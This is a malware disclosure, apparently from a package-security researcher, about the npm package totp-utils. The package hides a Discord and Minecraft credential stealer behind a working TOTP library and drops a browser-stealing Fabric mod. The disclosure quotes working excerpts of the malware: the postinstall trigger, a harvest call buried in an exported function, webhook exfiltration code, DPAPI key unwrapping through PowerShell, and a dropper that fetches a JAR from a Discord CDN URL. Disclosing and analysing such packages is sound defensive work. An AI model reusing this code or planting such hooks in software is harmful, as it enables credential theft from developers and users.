Disclosure · 2026-08-21
totp-utils@1.4.4
An npm package published as a TOTP helper. It ships a working TOTP implementation as cover and, on installation and whenever the library is called, harvests Discord tokens and Minecraft accounts and uploads them to a Discord webhook. Its latest version additionally writes a second-stage Fabric mod — a cross-browser cookie and password stealer — into the victim's Minecraft installation. Every published version (1.4.2, 1.4.3, 1.4.4) is malicious; all three were published within eight minutes of one another and remain available on the registry. The account below is from the published tarballs, the retrieved second stage, and a system-call trace recorded during installation in an isolated sandbox.
How to read this page. Every technical claim is labelled by its basis. Observed means it appears in the system-call trace of the installation. Source means it was read from the package's own published code but was not exercised in the sandbox. Retrieved means it was obtained by fetching the second-stage artefact from the host that serves it (see section 9 for the method and its limits). Statements that are none of these are marked as assessment and are confined to one section at the end.
1. Identification
| Package | totp-utils |
|---|---|
| Affected versions | 1.4.2, 1.4.3, 1.4.4 (every version ever published) |
| Ecosystem | npm |
| Maintainer | jeanfilsssss |
| Entry point | index.js |
| Trigger | postinstall: node ./index.js --setup (1.4.3, 1.4.4); the exported validateSecret() (all versions) |
| Published | 2026-08-21T12:17:45Z to 2026-08-21T12:25:03Z |
| Stated repository | github.com/totp-utils/totp-utils — returns HTTP 404 |
| Second stage | optimized-renderer-1.0.0.jar — a Fabric mod served from a Discord CDN attachment |
| Current status | latest is 1.4.4; all three versions resolve HTTP 200 |
Registry provenance
Retrieved directly from the registry:
{"_id":"totp-utils","name":"totp-utils","dist-tags":{"latest":"1.4.4"},
"time":{"created": "2026-08-21T12:17:45.314Z",
"modified":"2026-08-21T12:25:03.705Z",
"1.4.2": "2026-08-21T12:17:45.566Z",
"1.4.3": "2026-08-21T12:19:18.528Z",
"1.4.4": "2026-08-21T12:25:03.565Z"}}
The package name was created at 12:17:45.314Z and its first version, 1.4.2, published 252 milliseconds later. There is no 1.0 through 1.4.1: the version series begins at 1.4.2, a choice that lends an unremarkable-looking maturity to a name that is minutes old. The three versions were published across a window of seven minutes and eighteen seconds. The repository, homepage and bugs fields all point at github.com/totp-utils/totp-utils, which does not exist.
2. Method
The package was installed in an isolated sandbox with no outbound network route. The full system-call trace of the installation was captured losslessly and retained. Because the package remains on the registry, the source below was read directly from the published tarballs rather than recovered from the trace; the two agree.
The second-stage artefact — the Fabric mod the package drops — is not contained in the npm tarball; it is fetched at run time from a Discord CDN attachment. That URL was still serving the file, so it was retrieved once for static analysis (section 9). The mod's Java classes were read but not executed.
3. Package contents
index.js exports three genuine TOTP functions — validateSecret, generateToken, timeRemaining. They implement RFC-6238 correctly and work as advertised. They are the cover. The remainder of the file is a credential grabber.
package.json
{
"name": "totp-utils",
"version": "1.4.4",
"description": "Lightweight TOTP/HOTP token generation utilities — no dependencies, pure Node.js crypto",
"main": "index.js",
"scripts": {
"postinstall": "node ./index.js --setup 2>/dev/null || true"
},
"repository": { "type": "git", "url": "git+https://github.com/totp-utils/totp-utils.git" }
}
The postinstall hook runs the entry file with --setup and discards its output (2>/dev/null || true), so the install never fails visibly regardless of what the payload does. Version 1.4.2 carries no postinstall at all — but the grabber is already present in 1.4.2 and fires by a second path (section 4).
4. Execution chain
npm install totp-utils
└─ postinstall: node ./index.js --setup (1.4.3, 1.4.4)
└─ _run() → Discord + Minecraft harvest → POST to webhook
→ _installMod() → fetch + drop Fabric mod (1.4.4)
require("totp-utils").validateSecret(secret) (all versions, incl. 1.4.2)
└─ setImmediate(() => _run()) same harvest, fired on use
The payload fires two ways. The first is the install hook. The second is planted inside an exported function, so a project that merely uses the library runs the grabber even when installed with --ignore-scripts:
function validateSecret(secret) {
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
/* … genuine base32 decode … */
// fire-and-forget background collection
setImmediate(() => _run().catch(() => {}));
return Buffer.from(out);
}
// postinstall trigger — npm run ce fichier avec --setup au npm install
if (process.argv.includes("--setup")) {
_run().catch(() => {}).finally(() => process.exit(0));
}
The comment on the install trigger is in French, one of several such comments in the code (section 11). The setImmediate line sits between the last computation of validateSecret and its return, so the function's advertised behaviour is unaffected and the harvest runs in the background on the next tick.
5. Stage one — the credential grabber
5.1 Exfiltration channel
Source A single hardcoded Discord webhook. Every stolen item is posted to it as an @everyone message and an embed:
const _WH = "https://discord.com/api/webhooks/1532429233769419004/VE9zx782_hy5vedls0lwNRAVA1sUGb9Q2ch…";
function _post(body) {
const b = Buffer.from(JSON.stringify(body), "utf8");
const u = new URL(_WH);
const req = https.request({ hostname: u.hostname, path: u.pathname, method: "POST",
headers: { "Content-Type": "application/json", "Content-Length": b.length } },
(res) => { res.resume(); resolve(res.statusCode); });
req.write(b); req.end();
}
function _postEmbed(embed) { return _post({ content: "@everyone", embeds: [embed] }); }
5.2 Discord tokens
Source _discord() walks four Discord clients (discord, discordcanary, discordptb, discorddevelopment) and five Chromium browsers (Chrome, Edge, Brave, Opera, Opera GX). For each it reads the LevelDB store under Local Storage/leveldb, extracting plaintext tokens, mfa. tokens, and encrypted tokens marked with the dQw4w9WgXcQ: prefix. Encrypted tokens are decrypted with the browser's master key and validated live:
// master key: Local State → os_crypt.encrypted_key → DPAPI Unprotect via PowerShell
const ps = `Add-Type -AssemblyName System.Security;`
+ `$d=[Convert]::FromBase64String('${b64}');`
+ `$r=[System.Security.Cryptography.ProtectedData]::Unprotect($d,$null,'CurrentUser');`
+ `[Convert]::ToBase64String($r)`;
spawnSync("powershell", ["-NoProfile","-NonInteractive","-Command", ps], { timeout: 10000 });
// token: aes-256-gcm(iv = d[3:15], ciphertext = d[15:-16], authTag = d[-16:])
const r = await _get("https://discord.com/api/v9/users/@me", { Authorization: tok });
Tokens that /api/v9/users/@me confirms are valid are sent to the webhook with the account's username and id, the token itself wrapped in a spoiler.
5.3 Minecraft accounts
Source Three launchers, read straight from disk:
| Vanilla | %APPDATA%/.minecraft/launcher_accounts.json — access token / MSA token |
|---|---|
| Lunar Client | .lunarclient/settings/game/accounts.json |
| Modrinth | ModrinthApp/app.db — JWTs matched by regex and decoded for the account name |
5.4 Orchestration
Source _run() collects everything, sends it, and — when nothing is found, as on any non-Windows or freshly provisioned host — sends a fixed beacon instead:
async function _run() {
const mc = [..._vanilla(), ..._lunar(), ..._modrinth()];
const dc = await _discord();
if (mc.length) await _sendMC(mc);
if (dc.length) await _sendDiscord(dc);
if (!mc.length && !dc.length) await _postRaw("no tokens found.");
// 1.4.4 also: await _installMod(); (section 6)
}
The beacon confirms the webhook is contacted on every install, whether or not the host holds anything to steal.
6. Stage two — the dropped Fabric mod
6.1 The dropper
Source Version 1.4.4 adds _installMod(). It enumerates Fabric-enabled Minecraft instances — vanilla, Modrinth profiles and Lunar offline versions at game version 26.1.2 or newer — and, if any exist, downloads a JAR from a Discord CDN attachment and writes it into every mods/ folder it found. On the next launch of the game, the mod runs.
const _JAR_URL = "https://cdn.discordapp.com/attachments/1507484731535785994/"
+ "1540335670831222894/optimized-renderer-1.0.0.jar?…";
const _JAR_NAME = "optimized-renderer-1.0.0.jar";
async function _installMod() {
const folders = _findModsFolders();
if (folders.length === 0) return; // no Minecraft → returns before any download
const jar = await _downloadJar();
if (!jar) return;
for (const dir of folders) fs.writeFileSync(path.join(dir, _JAR_NAME), jar);
}
6.2 The mod is a browser stealer
Retrieved The JAR (14.3 MB, SHA-256 118ad8d0…) declares itself an FPS optimiser — "Optimizes chunk rendering for better FPS", author "OpenSource Community", MIT. Its manifest and classes describe a cross-browser credential stealer.
fabric.mod.json:
{"id":"optimized-renderer","name":"OptimizedRenderer","environment":"*",
"entrypoints":{"main":["com.example.OptimizedRenderer"],
"client":["com.example.client.OptimizedRendererClient"]},
"depends":{"minecraft":">=26.1.2","fabric-api":"*"},
"jars":[{"file":"META-INF/jars/sqlite-jdbc-3.49.1.0.jar"}]}
render.properties:
webhook_url=https://discord.com/api/webhooks/1532429233769419004/VE9zx782_…
embed_title=Render Report
embed_color=3066993
| Class | Behaviour (from strings and method names) |
|---|---|
BrowserDataManager | Cookies and saved passwords from Chrome, Edge, Brave, Opera, Chromium and Firefox. Firefox via SELECT host, name, value, path, expiry FROM moz_cookies (the bundled sqlite-jdbc reads the database). Chromium App-Bound Encryption is defeated by launching the browser with remote debugging — collectCookiesViaCDP — and the master key is unwrapped with DPAPI (ProtectedData::Unprotect via powershell). |
OptimizedRendererClient | Discord tokens across the four clients (collectDiscordTokens, decryptToken), validated against /api/v9/users/@me. Public IP via api.ipify.org. Everything is posted to the webhook read from render.properties. |
The mod carries the same webhook as the npm package and the same embed colour (3066993) used by the stage-one Minecraft embeds. The two stages share an operator.
7. Network endpoints
| Endpoint | Function | Basis |
|---|---|---|
discord.com/api/webhooks/1532429233769419004/VE9zx782_… | Exfiltration sink (both stages) | Observed connection |
discord.com/api/v9/users/@me | Validate stolen tokens | Source |
cdn.discordapp.com/attachments/1507484731535785994/1540335670831222894/optimized-renderer-1.0.0.jar | Second-stage delivery | Retrieved |
api.ipify.org | Victim public-IP geolocation (stage two) | Source |
Exfiltration is to Discord over HTTPS; the second stage is delivered from Discord's own CDN. Using Discord for both blends the traffic with ordinary Discord usage.
8. Observed system calls
Extracted verbatim from the installation trace of 1.4.4. Timestamps are Unix epoch seconds; the environment carries planted PROTETDECOY credentials.
8.1 The install hook and the credential read
1787325319.008097 openat(AT_FDCWD, "/home/det/.npmrc", O_RDONLY|O_CLOEXEC)
= 17</home/det/.npmrc>
1787325327.364542 execve("…/.bin/sh", ["sh","-c",
"node ./index.js --setup 2>/dev/null || true"], [AZURE_TENANT_ID=PROTETDECOY…])
The install hook runs the entry file with --setup, and the process reads ~/.npmrc — the file that holds the npm authentication token in a logged-in or CI environment.
8.2 Resolving and contacting the webhook
1787325327.688149 sendto(18, "…\7discord\3com\0…", 29, MSG_NOSIGNAL) = 29
1787325327.695864 connect(18, {sa_family=AF_INET, sin_port=htons(443),
sin_addr=inet_addr("172.19.81.193")}, 16) = -1 EINPROGRESS
// POST body: "no tokens found." — the beacon; no loot on this host
Seven milliseconds after resolving discord.com the process opens a connection to it on port 443. Because the Linux sandbox holds no Discord, Minecraft or browser data, _run() found nothing and sent its "no tokens found." beacon; the connection terminated at the sandbox boundary.
8.3 The second stage did not fetch
There are no connections to cdn.discordapp.com in the trace. On Linux, _findModsFolders() finds no Minecraft installation and _installMod() returns before the download; the JAR's URL and filename appear only inside read() calls on index.js. The second stage was obtained separately (section 9).
9. Retrieval of the second stage
The Discord CDN attachment referenced by _installMod() was still serving the JAR. On 2026-08-21 it was fetched once, directly, to establish what the dropper delivers.
Method
A single unauthenticated GET for the attachment URL. No request body was sent and no credential or identifier was transmitted; the exfiltration webhook was not contacted. The response — a 14,317,750-byte ZIP/JAR — was captured and hashed:
118ad8d050ebe8d878f948cb97dc391a0f9d8734e0668dbb04eec4c17130f693 optimized-renderer-1.0.0.jar
Limits of this data
- It establishes what the attachment serves, not what any victim received. A Discord CDN attachment can be replaced, and its signed URL expires; what was delivered to anyone whose
_installMod()ran is unknown from here. - The JAR was analysed statically. Its behaviour is described from its manifest, class names and embedded strings, not from execution.
10. What was not observed
- No data left the sandbox. Outbound traffic reached only the sandbox's isolated gateway, and none of the planted decoy credentials appeared in any outbound write. The webhook received the fixed beacon, nothing more.
- No tokens were stolen in the sandbox. The host holds no Discord, Minecraft or browser data, so the harvest matched nothing. The theft is established from the source, not from captured loot.
- The second stage was not dropped or executed. No Minecraft installation exists in the sandbox, so
_installMod()returned before downloading, and the JAR was never run — only fetched once and read. - Windows behaviour was not exercised. The DPAPI decryption, the browser CDP launch, and the drive/profile paths are Windows-only; the sandbox is Linux.
- Installation counts are unknown. There is no basis here for how many systems installed the package or ran the mod.
11. Versions and attribution
The three versions are the same tool, adding reach with each publish:
| Version | Published (UTC) | Change |
|---|---|---|
1.4.2 | 12:17:45 | First publish. The grabber is present and fires only when validateSecret() is called. |
1.4.3 | 12:19:18 | Adds the postinstall hook, so it also fires on npm install. |
1.4.4 | 12:25:03 | Adds the Minecraft mod-dropper and a run-lock. Current latest. |
1.4.2 and 1.4.3 differ only by the added postinstall; the grabber, the webhook and the validateSecret trigger are identical in both. The infrastructure and the code point to one operator: a single npm account (jeanfilsssss), a single webhook shared by both stages, a shared embed colour, and code comments in French across both the npm package (// npm run ce fichier avec --setup au npm install) and the mod's dropper logic (si fabric installé, évite les runs multiples). No claim is made beyond the artefacts.
12. Assessment
This section is the only part of this document that goes beyond direct observation, and is labelled accordingly. The alternative explanations were tested against the artefacts:
- Compromise of an existing package. Not supported. The name was created 252 milliseconds before its first version, with no prior release; the malicious code is present in that first version.
- Security research or a proof of concept. Not consistent with the artefact. The package decrypts and validates stolen Discord tokens against Discord's API before exfiltrating them, targets three Minecraft launchers and five browsers by name, and drops a persistent second stage. None of that is required to demonstrate code execution.
- Accidental publication. Not consistent with a stated repository that does not exist, output-suppressing install hooks, a trigger deliberately buried inside an exported function, and a working TOTP implementation kept as cover.
Assessment: the package is malicious — a Discord and Minecraft credential stealer that persists, on Minecraft hosts, as a browser cookie and password stealer, exfiltrating to a Discord webhook it shares with its second stage.
Limits of that assessment: it is not demonstrated that any real system had credentials stolen or the mod installed, nor how many systems installed the package. No claim is made about who operates the webhook, beyond that both stages exfiltrate to the same one.
13. Indicators
Package and files
| Artefact | SHA-256 |
|---|---|
totp-utils-1.4.2.tgz | 99e67c1e69ca26f79989a98b1501c6dca4c02176364b640230f143a9c9c118b7 |
totp-utils-1.4.3.tgz | 619f82ba4a4c02caa4aa598534b68536189ba09fc2f6d37755cde4b47d8b29cb |
totp-utils-1.4.4.tgz | 600511b9107e87a583882f7542cad3a504eb2ecf9b63eaaa18669c5a22f9e9ef |
optimized-renderer-1.0.0.jar | 118ad8d050ebe8d878f948cb97dc391a0f9d8734e0668dbb04eec4c17130f693 |
Network
| Indicator | Type | Basis |
|---|---|---|
discord.com/api/webhooks/1532429233769419004/… | Exfiltration webhook (both stages) | Observed |
cdn.discordapp.com/attachments/1507484731535785994/1540335670831222894/ | Second-stage delivery | Retrieved |
api.ipify.org, discord.com/api/v9/users/@me | Geolocation, token validation | Source |
Host
| Indicator | Basis |
|---|---|
npm maintainer jeanfilsssss; repository github.com/totp-utils/totp-utils (404) | Source |
postinstall string node ./index.js --setup 2>/dev/null || true | Source |
the file optimized-renderer-1.0.0.jar in any Fabric mods/ folder | Source |
run-lock file <tmp>/.tu-1432.lock | Source |
the webhook id 1532429233769419004 present in any file under a home directory | Observed |
14. If this package was installed
Applicable to any environment where totp-utils appears in a lockfile, CI log or node_modules tree, and to any Minecraft host on which the package ran.
- Remove the package. It has no safe version; uninstall it and purge it from lockfiles.
-
Search for the dropped mod and delete it:
grep -rl "1532429233769419004" ~/.minecraft ~/AppData 2>/dev/null find ~ -name "optimized-renderer-1.0.0.jar" -delete - Treat any Discord account used on the machine as compromised. Change the password — this invalidates every existing token — and enable 2FA.
- Rotate Minecraft / Microsoft credentials and revoke active sessions.
- If the second-stage mod ran, rotate credentials saved in any installed browser and clear cookies; sessions were exportable.
- Rotate the npm token in
~/.npmrcif the package was installed under CI or a logged-in npm session; the install read that file. - Search outbound logs for the webhook id
1532429233769419004and for connections tocdn.discordapp.comattachments matching the URL in section 7.
15. Notes
The package was analysed automatically as part of ongoing research into newly published open-source packages. The analysis environment has no outbound network route and plants decoy credentials to detect collection; no third-party system was contacted during the detonation.
The second-stage JAR was subsequently fetched directly, as described in section 9, in order to establish what the dropper delivers. That request retrieved data and sent none; the exfiltration webhook was not contacted.
The reported package and its indicators have been submitted to the OpenSSF malicious-packages database. The published tarballs and the retrieved second stage are retained and can be provided on request: hello@protet.io.